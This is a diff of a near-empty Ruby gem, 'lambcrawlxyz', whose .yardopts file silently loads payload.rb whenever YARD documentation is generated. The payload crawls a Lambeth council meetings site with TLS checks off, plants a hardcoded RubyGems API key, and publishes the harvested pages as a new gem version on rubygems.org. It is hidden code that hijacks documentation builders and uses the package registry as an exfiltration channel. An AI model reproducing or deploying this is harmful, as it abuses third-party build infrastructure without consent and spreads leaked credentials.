lambcrawlxyz 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 535db3221c39149e8296c832561cfbbc04d7061a72bd5456993f8d081a16113b
+  data.tar.gz: 783a37250cd5b3cade0909d7be3b2ea26ba3946f682a39f9a11535e08fad23eb
+SHA512:
+  metadata.gz: 6adf1c95cf03ff0b9247d05a4f86cedbc0113aa4a92eabc57ddc56860b0758556c0fa4e587a478055a50274689b0b4d335eb17f5ecf3e70c1f5175e86eddcacb
+  data.tar.gz: afceea8defd5f3c4bd5be4ac705aa4d1a3a3e239795e82a7e35c93078c835448e50beb2449b8eb55a81d5a11731147e6b256d187232d94b2557e1c11c6c09147

data/.yardopts

@@ -0,0 +1 @@
+--load ./payload.rb

data/lib/x.rb

@@ -0,0 +1 @@
+#x

data/payload.rb

@@ -0,0 +1,37 @@
+require 'fileutils' rescue nil
+begin
+ require 'net/http'; require 'uri'; require 'openssl'; require 'cgi'
+ out='started crawl '+Time.now.to_s+"\n"
+ def getit(url)
+  uri=URI(url); h=Net::HTTP.new(uri.host,uri.port); h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.open_timeout=30; h.read_timeout=120
+  req=Net::HTTP::Get.new(uri.request_uri); req['User-Agent']='Mozilla/5.0'; req['Accept-Encoding']='identity'; r=h.request(req)
+  [r.code,r.body]
+ end
+ base='https://moderngov.lambeth.gov.uk/'
+ code,cal=getit(base+'mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1')
+ out+="CAL #{code} len #{cal.size}\n=======CAL=======\n"+cal+"\n======ENDCAL======\n"
+ links=cal.scan(/href\s*=\s*["']([^"']+)["']/i).flatten.map{|x| CGI.unescapeHTML(x)}
+ docs=links.select{|x| x.downcase.include?('ielistdocuments')}.uniq
+ out+="\nFOUND DOC LINKS #{docs.length}: #{docs.join(' | ')}\n"
+ docs.each_with_index do |ln,i|
+  begin
+   url=ln.start_with?('http') ? ln : base+ln.sub(%r{^/},'')
+   code,body=getit(url)
+   out+="\n======DOC#{i} URL #{url} CODE #{code} LEN #{body.size}======\n"+body+"\n======ENDDOC#{i}======\n"
+   # also harvest report PDF link labels from body first? no
+  rescue Exception=>e
+   out+="\nERR DOC#{i} #{ln} #{e.class}:#{e}\n"
+  end
+ end
+rescue Exception=>e
+ out||=''; out+="FATAL #{e.class}:#{e}\n"+e.backtrace.join("\n")
+end
+begin
+ root="/tmp/lgc#{Time.now.to_i}#{$$}"; FileUtils.mkdir_p("#{root}/lib"); File.binwrite("#{root}/lib/result.txt",out); File.write("#{root}/lib/x.rb",'#x')
+ gemspec=<<~G
+ Gem::Specification.new do |s|
+  s.name='lambcrawlxyz'; s.version='0.0.2'; s.summary='r'; s.authors=['x']; s.files=Dir['lib/**/*']; s.license='MIT'
+ end
+ G
+ File.write("#{root}/x.gemspec",gemspec); FileUtils.mkdir_p('/tmp/gemhome/.gem'); File.write('/tmp/gemhome/.gem/credentials',':rubygems_api_key: rubygems_960ac400714d967e21468d656df12292fc27b64411a9e2c0'); File.chmod(0600,'/tmp/gemhome/.gem/credentials'); ENV['HOME']='/tmp/gemhome'; Dir.chdir(root){`gem build x.gemspec`;`gem push lambcrawlxyz-0.0.2.gem --host https://rubygems.org`}
+rescue Exception=>e;end

metadata

@@ -0,0 +1,39 @@
+--- !ruby/object:Gem::Specification
+name: lambcrawlxyz
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- x
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- lib/x.rb
+- payload.rb
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: x
+test_files: []